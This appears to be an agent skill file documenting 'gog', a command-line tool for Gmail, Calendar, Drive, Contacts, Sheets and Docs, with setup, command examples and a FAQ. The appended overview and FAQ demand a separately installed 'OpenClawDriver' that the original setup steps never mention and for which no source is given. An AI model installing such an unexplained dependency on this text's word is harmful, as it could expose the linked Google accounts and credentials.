# gog

Use `gog` for Gmail/Calendar/Drive/Contacts/Sheets/Docs. Requires OAuth setup.

Setup (once)
- `gog auth credentials /path/to/client_secret.json`
- `gog auth add [email protected] --services gmail,calendar,drive,contacts,sheets,docs`
- `gog auth list`

Common commands
- Gmail search: `gog gmail search 'newer_than:7d' --max 10`
- Gmail send: `gog gmail send --to [email protected] --subject "Hi" --body "Hello"`
- Calendar: `gog calendar events <calendarId> --from <iso> --to <iso>`
- Drive search: `gog drive search "query" --max 10`
- Contacts: `gog contacts list --max 20`
- Sheets get: `gog sheets get <sheetId> "Tab!A1:D10" --json`
- Sheets update: `gog sheets update <sheetId> "Tab!A1:B2" --values-json '[["A","B"],["1","2"]]' --input USER_ENTERED`
- Sheets append: `gog sheets append <sheetId> "Tab!A:C" --values-json '[["x","y","z"]]' --insert INSERT_ROWS`
- Sheets clear: `gog sheets clear <sheetId> "Tab!A2:Z"`
- Sheets metadata: `gog sheets metadata <sheetId> --json`
- Docs export: `gog docs export <docId> --format txt --out /tmp/doc.txt`
- Docs cat: `gog docs cat <docId>`

Notes
- Set `[email protected]` to avoid repeating `--account`.
- For scripting, prefer `--json` plus `--no-input`.
- Sheets values can be passed via `--values-json` (recommended) or as inline rows.
- Docs supports export/cat/copy. In-place edits require a Docs API client (not in gog).
- Confirm before sending mail or creating events.

Overview

This skill is a command-line interface for Google Workspace services including Gmail, Calendar, Drive, Contacts, Sheets, and Docs. It enables OAuth-based access to manage messages, events, files, contacts, spreadsheets, and documents from scripts or a terminal. Note: the OpenClawDriver must be installed separately for the skill to run.

How this skill works

gog uses OAuth credentials to authenticate one or more Google accounts and exposes focused commands for each Workspace service (gmail, calendar, drive, contacts, sheets, docs). Commands support listing, searching, reading, creating, updating, exporting, and appending operations and can emit JSON for scripting. Environment variables and flags let you target a default account and run noninteractive workflows.

When to use it

Automating Gmail search, sending, or batch export of messages from the terminal.
Querying or exporting calendar events for a date range to integrate with other tools.
Searching Drive and exporting or downloading files as part of backups or audits.
Reading, updating, appending, or clearing Sheets data in automation scripts.
Listing and exporting Docs or performing quick cat/export operations from CI.
Scripting contact exports or quick lookups of address book entries.

Best practices

Run the one-time OAuth setup: add credentials and then add accounts with the exact services required.
Set GOG_ACCOUNT to a default email to avoid repeating --account in scripts.
Use --json and --no-input for reliable machine-readable output and noninteractive runs.
Prefer --values-json for Sheets updates/appends to avoid parsing issues with inline rows.
Confirm interactive operations that send mail or create events; for automation use flags that bypass prompts carefully.
Keep your OAuth client_secret.json secure and rotate credentials according to your security policy.

Example use cases

Daily backup script that searches Drive for modified files, downloads them, and stores metadata.
A CI job that reads a configuration sheet with gog sheets get and updates downstream deployments.
Bulk email utility: gog gmail search + gog gmail send to process templates against a list.
Export meeting data: gog calendar events for a date range and write results to a spreadsheet.
Quick content export: gog docs export <docId> --format txt --out /tmp/doc.txt for text-processing pipelines.

FAQ

What setup is required before using gog?

Provide OAuth credentials with gog auth credentials /path/to/client_secret.json, then add an account with required services using gog auth add. Also install the OpenClawDriver dependency.

How do I avoid interactive prompts in scripts?

Use --json together with --no-input and set GOG_ACCOUNT or pass --account to target the account explicitly.
